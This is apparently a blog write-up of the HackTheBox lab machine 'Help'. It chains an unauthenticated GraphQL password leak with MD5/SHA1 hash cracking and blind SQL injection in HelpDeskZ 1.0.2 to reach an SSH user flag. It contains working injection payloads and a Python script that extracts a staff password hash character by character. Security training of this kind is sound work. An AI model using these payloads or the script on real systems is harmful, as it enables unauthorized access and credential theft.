Post

Help

An unauthenticated GraphQL endpoint leaks a HelpDeskZ user's MD5 password, and the HelpDeskZ 1.0.2 ticket viewer's blind SQL injection lets you brute-force a staff SHA1 hash one character at a time — the recovered credential logs straight into SSH for the user flag.

Help

Overview

Help is an easy-difficulty Linux box that strings together three classic web bugs. A Node.js/Express GraphQL API on port 3000 hands out a user’s MD5 password to anyone who asks, those credentials unlock a HelpDeskZ 1.0.2 instance whose ticket viewer is blind SQL injectable, and walking the injection character by character recovers a staff SHA1 hash that cracks to an SSH password. This post covers recon through the user flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Enumeration-driven easy box where dir busting finds HelpDeskZ, then a custom char-by-char blind-SQLi brute script does the work; the 1.0.2 CVEs are secondary so custom edges out CVE.

Recon

PortServiceNotes
22/tcpOpenSSH 7.2p2Ubuntu 16.04
80/tcpApache 2.4.18redirects to help.htb, default Apache page
3000/tcpNode.js Expressreturns JSON, GraphQL backend
1
nmap -sC -sV 10.10.10.121

Add the vhost so the redirect resolves:

1
echo "10.10.10.121  help.htb" | sudo tee -a /etc/hosts

Port 80 only serves the default Apache page, so brute-force for content:

1
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -u http://help.htb/

This finds /support, a HelpDeskZ installation. The version file confirms it:

1
curl -s http://help.htb/support/UPGRADING.txt

It reports HelpDeskZ 1.0.2, which has two public exploits — an authenticated SQL injection and an unauthenticated arbitrary file upload.

Enumeration

Port 3000 returns a hint:

1
{"message":"Hi Shiv, To get access please find the credentials with given query"}

The X-Powered-By: Express header plus the “query” wording points at GraphQL. Hitting /graphql confirms it (“GET query missing”). GraphQL is self-describing — ask for an object and the server’s errors tell you what it wants:

1
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user}' | jq

The error says the user field needs subfields, so request the obvious ones:

1
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username,password}}' | jq
1
2
{ "data": { "user": { "username": "[email protected]",
  "password": "5d3c93182bb20f07b994a7f617e99cff" } } }

The 32-char hex is an unsalted MD5. It cracks instantly:

1
hashcat -a 0 -m 0 5d3c93182bb20f07b994a7f617e99cff /usr/share/wordlists/rockyou.txt

godhelpmeplz. The pair [email protected]:godhelpmeplz logs into the HelpDeskZ panel.

Foothold

1 — Find the injectable parameter. Submit a ticket with an image attachment, view the ticket, and copy the attachment link. The request looks like:

1
http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6

Appending a boolean test confirms injection — a true condition returns the image, a false one returns a 404:

1
curl -s "http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and 1=1-- -"

2 — Map the target column. The HelpDeskZ source on GitHub reveals the login table is staff with username and password (a 40-char SHA1). Confirm the staff username:

1
curl -s "http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and (select (username) from staff limit 0,1) = 'admin'-- -"

3 — Brute-force the hash blind. With only a true/false oracle, extract the SHA1 one character at a time using substr(), iterating 40 positions over [a-z0-9]:

1
2
3
4
5
6
7
8
9
10
11
import requests, string
cookies = {'PHPSESSID': '<session>', 'usrhash': '<usrhash>'}
url = 'http://10.10.10.121/support/?v='
chars = string.ascii_lowercase + string.digits
password, k = '', 1
while k <= 40:
    for c in chars:
        q = ("view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 "
             "and substr((select password from staff limit 0,1),%d,1)='%s'-- -" % (k, c))
        if b'404' not in requests.get(url + q, cookies=cookies).content:
            password += c; k += 1; print('Password:', password); break

It recovers d318f44739dced66793b1a603028133a76ae680e, which cracks as SHA1:

1
hashcat -a 0 -m 100 d318f44739dced66793b1a603028133a76ae680e /usr/share/wordlists/rockyou.txt

Welcome1. Re-running the script against the email column (extend the charset with @, _, .) yields [email protected].

Alternate route: HelpDeskZ 1.0.2 also has an unauthenticated file-upload bug (the extension check runs after the file is written, and the renamed file is md5(name + epoch)). EDB 40300 brute-forces that timestamp and drops a PHP webshell — a second, no-credentials path to the same shell.

User flag

The SSH username isn’t in the database, but help is the obvious guess for this box — and the recovered password works:

1
ssh help@10.10.10.121   # Welcome1
1
2
help@help:~$ cat user.txt
[redacted]

Shell as help and the user flag are ours.

Privilege escalation (an out-of-date 4.4.0-116 kernel) is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.